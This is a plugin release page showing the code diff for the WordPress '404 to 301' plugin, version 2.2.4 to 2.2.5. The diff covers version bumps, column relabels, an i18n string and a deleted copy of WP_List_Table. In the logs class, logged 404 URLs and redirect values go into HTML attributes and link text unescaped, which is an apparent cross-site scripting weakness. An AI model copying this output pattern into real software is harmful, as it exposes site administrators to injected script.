404 to 301 - Version 2.2.5

Version Description

(05/06/2016) = Bug Fixes

  • Fixed issue - Front end was slow.
Download this release

Release Info

Developer joelcj91
Plugin Icon 128x128 404 to 301
Version 2.2.5
Comparing to
See all releases

Code changes from version 2.2.4 to 2.2.5

404-to-301.php CHANGED
@@ -3,7 +3,7 @@
3
  * Plugin Name: 404 to 301
4
  * Plugin URI: https://thefoxe.com/products/404-to-301/
5
  * Description: Automatically redirect all <strong>404 errors</strong> to any page using <strong>301 redirect for SEO</strong>. You can <strong>redirect and log</strong> every 404 errors. No more 404 errors in Webmaster tool.
6
- * Version: 2.2.4
7
  * Author: Joel James
8
  * Author URI: https://thefoxe.com/
9
  * Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
@@ -49,7 +49,7 @@ if ( ! class_exists( '_404_To_301' ) ) {
49
  'I4T3_HELP_PAGE' => admin_url( 'admin.php?page=i4t3-settings&tab=credits' ),
50
  'I4T3_LOGS_PAGE' => admin_url( 'admin.php?page=i4t3-logs' ),
51
  'I4T3_DB_VERSION' => '8',
52
- 'I4T3_VERSION' => '2.2.4',
53
  'I4T3_TABLE' => $GLOBALS['wpdb']->prefix . '404_to_301',
54
  // Set who all can access 404 settings.
55
  // You can change this if you want to give others access.
3
  * Plugin Name: 404 to 301
4
  * Plugin URI: https://thefoxe.com/products/404-to-301/
5
  * Description: Automatically redirect all <strong>404 errors</strong> to any page using <strong>301 redirect for SEO</strong>. You can <strong>redirect and log</strong> every 404 errors. No more 404 errors in Webmaster tool.
6
+ * Version: 2.2.5
7
  * Author: Joel James
8
  * Author URI: https://thefoxe.com/
9
  * Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
49
  'I4T3_HELP_PAGE' => admin_url( 'admin.php?page=i4t3-settings&tab=credits' ),
50
  'I4T3_LOGS_PAGE' => admin_url( 'admin.php?page=i4t3-logs' ),
51
  'I4T3_DB_VERSION' => '8',
52
+ 'I4T3_VERSION' => '2.2.5',
53
  'I4T3_TABLE' => $GLOBALS['wpdb']->prefix . '404_to_301',
54
  // Set who all can access 404 settings.
55
  // You can change this if you want to give others access.
README.md DELETED
@@ -1,25 +0,0 @@
1
- <h2>404 to 301 - No more 404 errors!</h2>
2
-
3
- Automatically redirect all 404 errors to any page using 301 redirect to boost your SEO in WordPress. This plugin also can log all 404 erros and list it to you. Also you can optionally get email alerts on 404 errors!
4
-
5
- <hr/>
6
-
7
- <strong>Contributors:</strong> <a href="https://github.com/joel-james/">Joel James</a><br/>
8
- <strong>Requires at least:</strong> WordPress 3.0<br/>
9
- <strong>Tested up to:</strong> WordPress 4.4<br/>
10
- <strong>Stable tag:</strong> 2.1.1<br/>
11
-
12
- <h4>Important Links and Documentation</h4>
13
-
14
- <ul>
15
- <li><a href="https://thefoxe.com/products/404-to-301/"><strong>Plugin Website</strong></a></li>
16
- <li><a href="https://wordpress.org/plugins/404-to-301/"><strong>WordPress Page</strong></a></li>
17
- <li><a href="https://wordpress.org/support/plugin/404-to-301/"><strong>Plugin Support Forum</strong></a></li>
18
- <li><a href="https://thefoxe.com/contact/"><strong>Plugin Direct Support</strong></a></li>
19
- <li><a href="https://thefoxe.com/docs/docs/category/404-to-301/"><strong>Documentation</strong></a></li>
20
- </ul>
21
-
22
-
23
- <pre>Pull requests are always welcome!</pre>
24
-
25
- <strong>PS</strong>: Send pull request to <strong>dev</strong> branch
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
admin/class-404-to-301-admin.php CHANGED
@@ -104,6 +104,14 @@ class _404_To_301_Admin {
104
  I4T3_VERSION,
105
  false
106
  );
 
 
 
 
 
 
 
 
107
  }
108
  }
109
 
104
  I4T3_VERSION,
105
  false
106
  );
107
+ // Internationalization
108
+ wp_localize_script(
109
+ I4T3_NAME,
110
+ 'i4t3strings',
111
+ array(
112
+ 'redirect' => esc_html__( 'Custom Redirect', I4T3_DOMAIN ),
113
+ )
114
+ );
115
  }
116
  }
117
 
admin/class-404-to-301-logs.php CHANGED
@@ -1,7 +1,7 @@
1
  <?php
2
 
3
  // If this file is called directly, abort.
4
- if (!defined('WPINC')) {
5
  die('Damn it.! Dude you are looking for what?');
6
  }
7
 
@@ -10,7 +10,7 @@ if (!defined('WPINC')) {
10
  * Details here - https://codex.wordpress.org/Class_Reference/WP_List_Table
11
  * So we have copied this class and using independently to avoid future issues.
12
  */
13
- if (!class_exists('WP_List_Table_404')) {
14
 
15
  global $wp_version;
16
  if( $wp_version >= 4.4 ) {
@@ -268,7 +268,7 @@ class _404_To_301_Logs extends WP_List_Table_404 {
268
 
269
  $title = ( ! empty( $item['redirect'] ) ) ? $item['redirect'] : __( 'Default', '404-to-301' );
270
 
271
- return '<a href="javascript:void(0)" title="' . $title . '" class="i4t3_redirect_thickbox" url_404="' . $item['url'] . '">' . __('Update', '404-to-301') . '</a>';
272
  }
273
 
274
  /**
@@ -397,12 +397,12 @@ class _404_To_301_Logs extends WP_List_Table_404 {
397
 
398
  $columns = array(
399
  'cb' => '<input type="checkbox" style="width: 5%;" />',
400
- 'date' => __( 'When', '404-to-301' ),
401
  'url' => __( '404 Path', '404-to-301' ),
402
- 'ref' => __( 'Came From', '404-to-301' ), // referer
403
  'ip' => __( 'IP Address', '404-to-301' ),
404
  'ua' => __('User Agent', '404-to-301'),
405
- 'redirect' => __( 'Custom Redirect', '404-to-301' )
406
  );
407
 
408
  return $columns;
1
  <?php
2
 
3
  // If this file is called directly, abort.
4
+ if ( ! defined( 'WPINC' ) ) {
5
  die('Damn it.! Dude you are looking for what?');
6
  }
7
 
10
  * Details here - https://codex.wordpress.org/Class_Reference/WP_List_Table
11
  * So we have copied this class and using independently to avoid future issues.
12
  */
13
+ if ( ! class_exists('WP_List_Table_404') ) {
14
 
15
  global $wp_version;
16
  if( $wp_version >= 4.4 ) {
268
 
269
  $title = ( ! empty( $item['redirect'] ) ) ? $item['redirect'] : __( 'Default', '404-to-301' );
270
 
271
+ return '<a href="javascript:void(0)" title="' . __('Customize', '404-to-301') . '" class="i4t3_redirect_thickbox" url_404="' . $item['url'] . '">' . $title . '</a>';
272
  }
273
 
274
  /**
397
 
398
  $columns = array(
399
  'cb' => '<input type="checkbox" style="width: 5%;" />',
400
+ 'date' => __( 'Date', '404-to-301' ),
401
  'url' => __( '404 Path', '404-to-301' ),
402
+ 'ref' => __( 'From', '404-to-301' ), // referer
403
  'ip' => __( 'IP Address', '404-to-301' ),
404
  'ua' => __('User Agent', '404-to-301'),
405
+ 'redirect' => __( 'Redirect', '404-to-301' )
406
  );
407
 
408
  return $columns;
admin/core/class-wp-list-table.php DELETED
@@ -1,1377 +0,0 @@
1
- <?php
2
- /**
3
- * Administration API: WP_List_Table class
4
- *
5
- * @package WordPress
6
- * @subpackage List_Table
7
- * @since 3.1.0
8
- */
9
-
10
- /**
11
- * Base class for displaying a list of items in an ajaxified HTML table.
12
- *
13
- * @since 3.1.0
14
- * @access private
15
- */
16
- class WP_List_Table_404 {
17
-
18
- /**
19
- * The current list of items.
20
- *
21
- * @since 3.1.0
22
- * @access public
23
- * @var array
24
- */
25
- public $items;
26
-
27
- /**
28
- * Various information about the current table.
29
- *
30
- * @since 3.1.0
31
- * @access protected
32
- * @var array
33
- */
34
- protected $_args;
35
-
36
- /**
37
- * Various information needed for displaying the pagination.
38
- *
39
- * @since 3.1.0
40
- * @access protected
41
- * @var array
42
- */
43
- protected $_pagination_args = array();
44
-
45
- /**
46
- * The current screen.
47
- *
48
- * @since 3.1.0
49
- * @access protected
50
- * @var object
51
- */
52
- protected $screen;
53
-
54
- /**
55
- * Cached bulk actions.
56
- *
57
- * @since 3.1.0
58
- * @access private
59
- * @var array
60
- */
61
- private $_actions;
62
-
63
- /**
64
- * Cached pagination output.
65
- *
66
- * @since 3.1.0
67
- * @access private
68
- * @var string
69
- */
70
- private $_pagination;
71
-
72
- /**
73
- * The view switcher modes.
74
- *
75
- * @since 4.1.0
76
- * @access protected
77
- * @var array
78
- */
79
- protected $modes = array();
80
-
81
- /**
82
- * Stores the value returned by ->get_column_info().
83
- *
84
- * @since 4.1.0
85
- * @access protected
86
- * @var array
87
- */
88
- protected $_column_headers;
89
-
90
- /**
91
- * {@internal Missing Summary}
92
- *
93
- * @access protected
94
- * @var array
95
- */
96
- protected $compat_fields = array( '_args', '_pagination_args', 'screen', '_actions', '_pagination' );
97
-
98
- /**
99
- * {@internal Missing Summary}
100
- *
101
- * @access protected
102
- * @var array
103
- */
104
- protected $compat_methods = array( 'set_pagination_args', 'get_views', 'get_bulk_actions', 'bulk_actions',
105
- 'row_actions', 'months_dropdown', 'view_switcher', 'comments_bubble', 'get_items_per_page', 'pagination',
106
- 'get_sortable_columns', 'get_column_info', 'get_table_classes', 'display_tablenav', 'extra_tablenav',
107
- 'single_row_columns' );
108
-
109
- /**
110
- * Constructor.
111
- *
112
- * The child class should call this constructor from its own constructor to override
113
- * the default $args.
114
- *
115
- * @since 3.1.0
116
- * @access public
117
- *
118
- * @param array|string $args {
119
- * Array or string of arguments.
120
- *
121
- * @type string $plural Plural value used for labels and the objects being listed.
122
- * This affects things such as CSS class-names and nonces used
123
- * in the list table, e.g. 'posts'. Default empty.
124
- * @type string $singular Singular label for an object being listed, e.g. 'post'.
125
- * Default empty
126
- * @type bool $ajax Whether the list table supports AJAX. This includes loading
127
- * and sorting data, for example. If true, the class will call
128
- * the {@see _js_vars()} method in the footer to provide variables
129
- * to any scripts handling AJAX events. Default false.
130
- * @type string $screen String containing the hook name used to determine the current
131
- * screen. If left null, the current screen will be automatically set.
132
- * Default null.
133
- * }
134
- */
135
- public function __construct( $args = array() ) {
136
- $args = wp_parse_args( $args, array(
137
- 'plural' => '',
138
- 'singular' => '',
139
- 'ajax' => false,
140
- 'screen' => null,
141
- ) );
142
-
143
- $this->screen = convert_to_screen( $args['screen'] );
144
-
145
- add_filter( "manage_{$this->screen->id}_columns", array( $this, 'get_columns' ), 0 );
146
-
147
- if ( !$args['plural'] )
148
- $args['plural'] = $this->screen->base;
149
-
150
- $args['plural'] = sanitize_key( $args['plural'] );
151
- $args['singular'] = sanitize_key( $args['singular'] );
152
-
153
- $this->_args = $args;
154
-
155
- if ( $args['ajax'] ) {
156
- // wp_enqueue_script( 'list-table' );
157
- add_action( 'admin_footer', array( $this, '_js_vars' ) );
158
- }
159
-
160
- if ( empty( $this->modes ) ) {
161
- $this->modes = array(
162
- 'list' => __( 'List View' ),
163
- 'excerpt' => __( 'Excerpt View' )
164
- );
165
- }
166
- }
167
-
168
- /**
169
- * Make private properties readable for backwards compatibility.
170
- *
171
- * @since 4.0.0
172
- * @access public
173
- *
174
- * @param string $name Property to get.
175
- * @return mixed Property.
176
- */
177
- public function __get( $name ) {
178
- if ( in_array( $name, $this->compat_fields ) ) {
179
- return $this->$name;
180
- }
181
- }
182
-
183
- /**
184
- * Make private properties settable for backwards compatibility.
185
- *
186
- * @since 4.0.0
187
- * @access public
188
- *
189
- * @param string $name Property to check if set.
190
- * @param mixed $value Property value.
191
- * @return mixed Newly-set property.
192
- */
193
- public function __set( $name, $value ) {
194
- if ( in_array( $name, $this->compat_fields ) ) {
195
- return $this->$name = $value;
196
- }
197
- }
198
-
199
- /**
200
- * Make private properties checkable for backwards compatibility.
201
- *
202
- * @since 4.0.0
203
- * @access public
204
- *
205
- * @param string $name Property to check if set.
206
- * @return bool Whether the property is set.
207
- */
208
- public function __isset( $name ) {
209
- if ( in_array( $name, $this->compat_fields ) ) {
210
- return isset( $this->$name );
211
- }
212
- }
213
-
214
- /**
215
- * Make private properties un-settable for backwards compatibility.
216
- *
217
- * @since 4.0.0
218
- * @access public
219
- *
220
- * @param string $name Property to unset.
221
- */
222
- public function __unset( $name ) {
223
- if ( in_array( $name, $this->compat_fields ) ) {
224
- unset( $this->$name );
225
- }
226
- }
227
-
228
- /**
229
- * Make private/protected methods readable for backwards compatibility.
230
- *
231
- * @since 4.0.0
232
- * @access public
233
- *
234
- * @param callable $name Method to call.
235
- * @param array $arguments Arguments to pass when calling.
236
- * @return mixed|bool Return value of the callback, false otherwise.
237
- */
238
- public function __call( $name, $arguments ) {
239
- if ( in_array( $name, $this->compat_methods ) ) {
240
- return call_user_func_array( array( $this, $name ), $arguments );
241
- }
242
- return false;
243
- }
244
-
245
- /**
246
- * Checks the current user's permissions
247
- *
248
- * @since 3.1.0
249
- * @access public
250
- * @abstract
251
- */
252
- public function ajax_user_can() {
253
- die( 'function WP_List_Table::ajax_user_can() must be over-ridden in a sub-class.' );
254
- }
255
-
256
- /**
257
- * Prepares the list of items for displaying.
258
- * @uses WP_List_Table::set_pagination_args()
259
- *
260
- * @since 3.1.0
261
- * @access public
262
- * @abstract
263
- */
264
- public function prepare_items() {
265
- die( 'function WP_List_Table::prepare_items() must be over-ridden in a sub-class.' );
266
- }
267
-
268
- /**
269
- * An internal method that sets all the necessary pagination arguments
270
- *
271
- * @since 3.1.0
272
- * @access protected
273
- *
274
- * @param array|string $args Array or string of arguments with information about the pagination.
275
- */
276
- protected function set_pagination_args( $args ) {
277
- $args = wp_parse_args( $args, array(
278
- 'total_items' => 0,
279
- 'total_pages' => 0,
280
- 'per_page' => 0,
281
- ) );
282
-
283
- if ( !$args['total_pages'] && $args['per_page'] > 0 )
284
- $args['total_pages'] = ceil( $args['total_items'] / $args['per_page'] );
285
-
286
- // Redirect if page number is invalid and headers are not already sent.
287
- if ( ! headers_sent() && ( ! defined( 'DOING_AJAX' ) || ! DOING_AJAX ) && $args['total_pages'] > 0 && $this->get_pagenum() > $args['total_pages'] ) {
288
- wp_redirect( add_query_arg( 'paged', $args['total_pages'] ) );
289
- exit;
290
- }
291
-
292
- $this->_pagination_args = $args;
293
- }
294
-
295
- /**
296
- * Access the pagination args.
297
- *
298
- * @since 3.1.0
299
- * @access public
300
- *
301
- * @param string $key Pagination argument to retrieve. Common values include 'total_items',
302
- * 'total_pages', 'per_page', or 'infinite_scroll'.
303
- * @return int Number of items that correspond to the given pagination argument.
304
- */
305
- public function get_pagination_arg( $key ) {
306
- if ( 'page' === $key ) {
307
- return $this->get_pagenum();
308
- }
309
-
310
- if ( isset( $this->_pagination_args[$key] ) ) {
311
- return $this->_pagination_args[$key];
312
- }
313
- }
314
-
315
- /**
316
- * Whether the table has items to display or not
317
- *
318
- * @since 3.1.0
319
- * @access public
320
- *
321
- * @return bool
322
- */
323
- public function has_items() {
324
- return !empty( $this->items );
325
- }
326
-
327
- /**
328
- * Message to be displayed when there are no items
329
- *
330
- * @since 3.1.0
331
- * @access public
332
- */
333
- public function no_items() {
334
- _e( 'No items found.' );
335
- }
336
-
337
- /**
338
- * Display the search box.
339
- *
340
- * @since 3.1.0
341
- * @access public
342
- *
343
- * @param string $text The search button text
344
- * @param string $input_id The search input id
345
- */
346
- public function search_box( $text, $input_id ) {
347
- if ( empty( $_REQUEST['s'] ) && !$this->has_items() )
348
- return;
349
-
350
- $input_id = $input_id . '-search-input';
351
-
352
- if ( ! empty( $_REQUEST['orderby'] ) )
353
- echo '<input type="hidden" name="orderby" value="' . esc_attr( $_REQUEST['orderby'] ) . '" />';
354
- if ( ! empty( $_REQUEST['order'] ) )
355
- echo '<input type="hidden" name="order" value="' . esc_attr( $_REQUEST['order'] ) . '" />';
356
- if ( ! empty( $_REQUEST['post_mime_type'] ) )
357
- echo '<input type="hidden" name="post_mime_type" value="' . esc_attr( $_REQUEST['post_mime_type'] ) . '" />';
358
- if ( ! empty( $_REQUEST['detached'] ) )
359
- echo '<input type="hidden" name="detached" value="' . esc_attr( $_REQUEST['detached'] ) . '" />';
360
- ?>
361
- <p class="search-box">
362
- <label class="screen-reader-text" for="<?php echo $input_id ?>"><?php echo $text; ?>:</label>
363
- <input type="search" id="<?php echo $input_id ?>" name="s" value="<?php _admin_search_query(); ?>" />
364
- <?php submit_button( $text, 'button', '', false, array('id' => 'search-submit') ); ?>
365
- </p>
366
- <?php
367
- }
368
-
369
- /**
370
- * Get an associative array ( id => link ) with the list
371
- * of views available on this table.
372
- *
373
- * @since 3.1.0
374
- * @access protected
375
- *
376
- * @return array
377
- */
378
- protected function get_views() {
379
- return array();
380
- }
381
-
382
- /**
383
- * Display the list of views available on this table.
384
- *
385
- * @since 3.1.0
386
- * @access public
387
- */
388
- public function views() {
389
- $views = $this->get_views();
390
- /**
391
- * Filter the list of available list table views.
392
- *
393
- * The dynamic portion of the hook name, `$this->screen->id`, refers
394
- * to the ID of the current screen, usually a string.
395
- *
396
- * @since 3.5.0
397
- *
398
- * @param array $views An array of available list table views.
399
- */
400
- $views = apply_filters( "views_{$this->screen->id}", $views );
401
-
402
- if ( empty( $views ) )
403
- return;
404
-
405
- $this->screen->render_screen_reader_content( 'heading_views' );
406
-
407
- echo "<ul class='subsubsub'>\n";
408
- foreach ( $views as $class => $view ) {
409
- $views[ $class ] = "\t<li class='$class'>$view";
410
- }
411
- echo implode( " |</li>\n", $views ) . "</li>\n";
412
- echo "</ul>";
413
- }
414
-
415
- /**
416
- * Get an associative array ( option_name => option_title ) with the list
417
- * of bulk actions available on this table.
418
- *
419
- * @since 3.1.0
420
- * @access protected
421
- *
422
- * @return array
423
- */
424
- protected function get_bulk_actions() {
425
- return array();
426
- }
427
-
428
- /**
429
- * Display the bulk actions dropdown.
430
- *
431
- * @since 3.1.0
432
- * @access protected
433
- *
434
- * @param string $which The location of the bulk actions: 'top' or 'bottom'.
435
- * This is designated as optional for backwards-compatibility.
436
- */
437
- protected function bulk_actions( $which = '' ) {
438
- if ( is_null( $this->_actions ) ) {
439
- $no_new_actions = $this->_actions = $this->get_bulk_actions();
440
- /**
441
- * Filter the list table Bulk Actions drop-down.
442
- *
443
- * The dynamic portion of the hook name, `$this->screen->id`, refers
444
- * to the ID of the current screen, usually a string.
445
- *
446
- * This filter can currently only be used to remove bulk actions.
447
- *
448
- * @since 3.5.0
449
- *
450
- * @param array $actions An array of the available bulk actions.
451
- */
452
- $this->_actions = apply_filters( "bulk_actions-{$this->screen->id}", $this->_actions );
453
- $this->_actions = array_intersect_assoc( $this->_actions, $no_new_actions );
454
- $two = '';
455
- } else {
456
- $two = '2';
457
- }
458
-
459
- if ( empty( $this->_actions ) )
460
- return;
461
-
462
- echo '<label for="bulk-action-selector-' . esc_attr( $which ) . '" class="screen-reader-text">' . __( 'Select bulk action' ) . '</label>';
463
- echo '<select name="action' . $two . '" id="bulk-action-selector-' . esc_attr( $which ) . "\">\n";
464
- echo '<option value="-1">' . __( 'Bulk Actions' ) . "</option>\n";
465
-
466
- foreach ( $this->_actions as $name => $title ) {
467
- $class = 'edit' === $name ? ' class="hide-if-no-js"' : '';
468
-
469
- echo "\t" . '<option value="' . $name . '"' . $class . '>' . $title . "</option>\n";
470
- }
471
-
472
- echo "</select>\n";
473
-
474
- submit_button( __( 'Apply' ), 'action', '', false, array( 'id' => "doaction$two" ) );
475
- echo "\n";
476
- }
477
-
478
- /**
479
- * Get the current action selected from the bulk actions dropdown.
480
- *
481
- * @since 3.1.0
482
- * @access public
483
- *
484
- * @return string|false The action name or False if no action was selected
485
- */
486
- public function current_action() {
487
- if ( isset( $_REQUEST['filter_action'] ) && ! empty( $_REQUEST['filter_action'] ) )
488
- return false;
489
-
490
- if ( isset( $_REQUEST['action'] ) && -1 != $_REQUEST['action'] )
491
- return $_REQUEST['action'];
492
-
493
- if ( isset( $_REQUEST['action2'] ) && -1 != $_REQUEST['action2'] )
494
- return $_REQUEST['action2'];
495
-
496
- return false;
497
- }
498
-
499
- /**
500
- * Generate row actions div
501
- *
502
- * @since 3.1.0
503
- * @access protected
504
- *
505
- * @param array $actions The list of actions
506
- * @param bool $always_visible Whether the actions should be always visible
507
- * @return string
508
- */
509
- protected function row_actions( $actions, $always_visible = false ) {
510
- $action_count = count( $actions );
511
- $i = 0;
512
-
513
- if ( !$action_count )
514
- return '';
515
-
516
- $out = '<div class="' . ( $always_visible ? 'row-actions visible' : 'row-actions' ) . '">';
517
- foreach ( $actions as $action => $link ) {
518
- ++$i;
519
- ( $i == $action_count ) ? $sep = '' : $sep = ' | ';
520
- $out .= "<span class='$action'>$link$sep</span>";
521
- }
522
- $out .= '</div>';
523
-
524
- $out .= '<button type="button" class="toggle-row"><span class="screen-reader-text">' . __( 'Show more details' ) . '</span></button>';
525
-
526
- return $out;
527
- }
528
-
529
- /**
530
- * Display a monthly dropdown for filtering items
531
- *
532
- * @since 3.1.0
533
- * @access protected
534
- *
535
- * @global wpdb $wpdb
536
- * @global WP_Locale $wp_locale
537
- *
538
- * @param string $post_type
539
- */
540
- protected function months_dropdown( $post_type ) {
541
- global $wpdb, $wp_locale;
542
-
543
- /**
544
- * Filter whether to remove the 'Months' drop-down from the post list table.
545
- *
546
- * @since 4.2.0
547
- *
548
- * @param bool $disable Whether to disable the drop-down. Default false.
549
- * @param string $post_type The post type.
550
- */
551
- if ( apply_filters( 'disable_months_dropdown', false, $post_type ) ) {
552
- return;
553
- }
554
-
555
- $extra_checks = "AND post_status != 'auto-draft'";
556
- if ( ! isset( $_GET['post_status'] ) || 'trash' !== $_GET['post_status'] ) {
557
- $extra_checks .= " AND post_status != 'trash'";
558
- } elseif ( isset( $_GET['post_status'] ) ) {
559
- $extra_checks = $wpdb->prepare( ' AND post_status = %s', $_GET['post_status'] );
560
- }
561
-
562
- $months = $wpdb->get_results( $wpdb->prepare( "
563
- SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month
564
- FROM $wpdb->posts
565
- WHERE post_type = %s
566
- $extra_checks
567
- ORDER BY post_date DESC
568
- ", $post_type ) );
569
-
570
- /**
571
- * Filter the 'Months' drop-down results.
572
- *
573
- * @since 3.7.0
574
- *
575
- * @param object $months The months drop-down query results.
576
- * @param string $post_type The post type.
577
- */
578
- $months = apply_filters( 'months_dropdown_results', $months, $post_type );
579
-
580
- $month_count = count( $months );
581
-
582
- if ( !$month_count || ( 1 == $month_count && 0 == $months[0]->month ) )
583
- return;
584
-
585
- $m = isset( $_GET['m'] ) ? (int) $_GET['m'] : 0;
586
- ?>
587
- <label for="filter-by-date" class="screen-reader-text"><?php _e( 'Filter by date' ); ?></label>
588
- <select name="m" id="filter-by-date">
589
- <option<?php selected( $m, 0 ); ?> value="0"><?php _e( 'All dates' ); ?></option>
590
- <?php
591
- foreach ( $months as $arc_row ) {
592
- if ( 0 == $arc_row->year )
593
- continue;
594
-
595
- $month = zeroise( $arc_row->month, 2 );
596
- $year = $arc_row->year;
597
-
598
- printf( "<option %s value='%s'>%s</option>\n",
599
- selected( $m, $year . $month, false ),
600
- esc_attr( $arc_row->year . $month ),
601
- /* translators: 1: month name, 2: 4-digit year */
602
- sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $month ), $year )
603
- );
604
- }
605
- ?>
606
- </select>
607
- <?php
608
- }
609
-
610
- /**
611
- * Display a view switcher
612
- *
613
- * @since 3.1.0
614
- * @access protected
615
- *
616
- * @param string $current_mode
617
- */
618
- protected function view_switcher( $current_mode ) {
619
- ?>
620
- <input type="hidden" name="mode" value="<?php echo esc_attr( $current_mode ); ?>" />
621
- <div class="view-switch">
622
- <?php
623
- foreach ( $this->modes as $mode => $title ) {
624
- $classes = array( 'view-' . $mode );
625
- if ( $current_mode === $mode )
626
- $classes[] = 'current';
627
- printf(
628
- "<a href='%s' class='%s' id='view-switch-$mode'><span class='screen-reader-text'>%s</span></a>\n",
629
- esc_url( add_query_arg( 'mode', $mode ) ),
630
- implode( ' ', $classes ),
631
- $title
632
- );
633
- }
634
- ?>
635
- </div>
636
- <?php
637
- }
638
-
639
- /**
640
- * Display a comment count bubble
641
- *
642
- * @since 3.1.0
643
- * @access protected
644
- *
645
- * @param int $post_id The post ID.
646
- * @param int $pending_comments Number of pending comments.
647
- */
648
- protected function comments_bubble( $post_id, $pending_comments ) {
649
- $approved_comments = get_comments_number();
650
-
651
- $approved_comments_number = number_format_i18n( $approved_comments );
652
- $pending_comments_number = number_format_i18n( $pending_comments );
653
-
654
- $approved_only_phrase = sprintf( _n( '%s comment', '%s comments', $approved_comments ), $approved_comments_number );
655
- $approved_phrase = sprintf( _n( '%s approved comment', '%s approved comments', $approved_comments ), $approved_comments_number );
656
- $pending_phrase = sprintf( _n( '%s pending comment', '%s pending comments', $pending_comments ), $pending_comments_number );
657
-
658
- // No comments at all.
659
- if ( ! $approved_comments && ! $pending_comments ) {
660
- printf( '<span aria-hidden="true">—</span><span class="screen-reader-text">%s</span>',
661
- __( 'No comments' )
662
- );
663
- // Approved comments have different display depending on some conditions.
664
- } elseif ( $approved_comments ) {
665
- printf( '<a href="%s" class="post-com-count post-com-count-approved"><span class="comment-count-approved" aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
666
- esc_url( add_query_arg( array( 'p' => $post_id, 'comment_status' => 'approved' ), admin_url( 'edit-comments.php' ) ) ),
667
- $approved_comments_number,
668
- $pending_comments ? $approved_phrase : $approved_only_phrase
669
- );
670
- } else {
671
- printf( '<span class="post-com-count post-com-count-no-comments"><span class="comment-count comment-count-no-comments" aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></span>',
672
- $approved_comments_number,
673
- $pending_comments ? __( 'No approved comments' ) : __( 'No comments' )
674
- );
675
- }
676
-
677
- if ( $pending_comments ) {
678
- printf( '<a href="%s" class="post-com-count post-com-count-pending"><span class="comment-count-pending" aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
679
- esc_url( add_query_arg( array( 'p' => $post_id, 'comment_status' => 'moderated' ), admin_url( 'edit-comments.php' ) ) ),
680
- $pending_comments_number,
681
- $pending_phrase
682
- );
683
- } else {
684
- printf( '<span class="post-com-count post-com-count-pending post-com-count-no-pending"><span class="comment-count comment-count-no-pending" aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></span>',
685
- $pending_comments_number,
686
- $approved_comments ? __( 'No pending comments' ) : __( 'No comments' )
687
- );
688
- }
689
- }
690
-
691
- /**
692
- * Get the current page number
693
- *
694
- * @since 3.1.0
695
- * @access public
696
- *
697
- * @return int
698
- */
699
- public function get_pagenum() {
700
- $pagenum = isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 0;
701
-
702
- if ( isset( $this->_pagination_args['total_pages'] ) && $pagenum > $this->_pagination_args['total_pages'] )
703
- $pagenum = $this->_pagination_args['total_pages'];
704
-
705
- return max( 1, $pagenum );
706
- }
707
-
708
- /**
709
- * Get number of items to display on a single page
710
- *
711
- * @since 3.1.0
712
- * @access protected
713
- *
714
- * @param string $option
715
- * @param int $default
716
- * @return int
717
- */
718
- protected function get_items_per_page( $option, $default = 20 ) {
719
- $per_page = (int) get_user_option( $option );
720
- if ( empty( $per_page ) || $per_page < 1 )
721
- $per_page = $default;
722
-
723
- /**
724
- * Filter the number of items to be displayed on each page of the list table.
725
- *
726
- * The dynamic hook name, $option, refers to the `per_page` option depending
727
- * on the type of list table in use. Possible values include: 'edit_comments_per_page',
728
- * 'sites_network_per_page', 'site_themes_network_per_page', 'themes_network_per_page',
729
- * 'users_network_per_page', 'edit_post_per_page', 'edit_page_per_page',
730
- * 'edit_{$post_type}_per_page', etc.
731
- *
732
- * @since 2.9.0
733
- *
734
- * @param int $per_page Number of items to be displayed. Default 20.
735
- */
736
- return (int) apply_filters( $option, $per_page );
737
- }
738
-
739
- /**
740
- * Display the pagination.
741
- *
742
- * @since 3.1.0
743
- * @access protected
744
- *
745
- * @param string $which
746
- */
747
- protected function pagination( $which ) {
748
- if ( empty( $this->_pagination_args ) ) {
749
- return;
750
- }
751
-
752
- $total_items = $this->_pagination_args['total_items'];
753
- $total_pages = $this->_pagination_args['total_pages'];
754
- $infinite_scroll = false;
755
- if ( isset( $this->_pagination_args['infinite_scroll'] ) ) {
756
- $infinite_scroll = $this->_pagination_args['infinite_scroll'];
757
- }
758
-
759
- if ( 'top' === $which && $total_pages > 1 ) {
760
- $this->screen->render_screen_reader_content( 'heading_pagination' );
761
- }
762
-
763
- $output = '<span class="displaying-num">' . sprintf( _n( '%s item', '%s items', $total_items ), number_format_i18n( $total_items ) ) . '</span>';
764
-
765
- $current = $this->get_pagenum();
766
-
767
- $current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
768
-
769
- $current_url = remove_query_arg( array( 'hotkeys_highlight_last', 'hotkeys_highlight_first' ), $current_url );
770
-
771
- $page_links = array();
772
-
773
- $total_pages_before = '<span class="paging-input">';
774
- $total_pages_after = '</span>';
775
-
776
- $disable_first = $disable_last = $disable_prev = $disable_next = false;
777
-
778
- if ( $current == 1 ) {
779
- $disable_first = true;
780
- $disable_prev = true;
781
- }
782
- if ( $current == 2 ) {
783
- $disable_first = true;
784
- }
785
- if ( $current == $total_pages ) {
786
- $disable_last = true;
787
- $disable_next = true;
788
- }
789
- if ( $current == $total_pages - 1 ) {
790
- $disable_last = true;
791
- }
792
-
793
- if ( $disable_first ) {
794
- $page_links[] = '<span class="tablenav-pages-navspan" aria-hidden="true">&laquo;</span>';
795
- } else {
796
- $page_links[] = sprintf( "<a class='first-page' href='%s'><span class='screen-reader-text'>%s</span><span aria-hidden='true'>%s</span></a>",
797
- esc_url( remove_query_arg( 'paged', $current_url ) ),
798
- __( 'First page' ),
799
- '&laquo;'
800
- );
801
- }
802
-
803
- if ( $disable_prev ) {
804
- $page_links[] = '<span class="tablenav-pages-navspan" aria-hidden="true">&lsaquo;</span>';
805
- } else {
806
- $page_links[] = sprintf( "<a class='prev-page' href='%s'><span class='screen-reader-text'>%s</span><span aria-hidden='true'>%s</span></a>",
807
- esc_url( add_query_arg( 'paged', max( 1, $current-1 ), $current_url ) ),
